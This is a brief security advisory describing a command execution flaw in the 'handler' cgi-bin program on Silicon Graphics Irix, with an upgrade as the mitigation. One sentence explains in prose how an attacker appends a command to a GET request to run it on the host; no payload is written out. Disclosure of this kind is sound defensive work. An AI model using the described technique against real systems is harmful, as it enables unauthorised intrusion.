Silicon Graphics Irix cgi-bin handler Vulnerability

A vulnerability exists in the cgi-bin program 'handler', as included by Silicon Graphics in their Irix operating system. This vulnerability will allow a remote attacker to execute arbitrary commands on the vulnerable host as the user the web server is running as. This can easily result in a user being able to access the system. An attacker can use telnet to send a GET request to the vulnerable host with a command appended to the end of the URL. The command will be executed on the vulnerable host.

Mitigation:

Upgrade to a version of Irix that does not contain the vulnerable cgi-bin handler program.
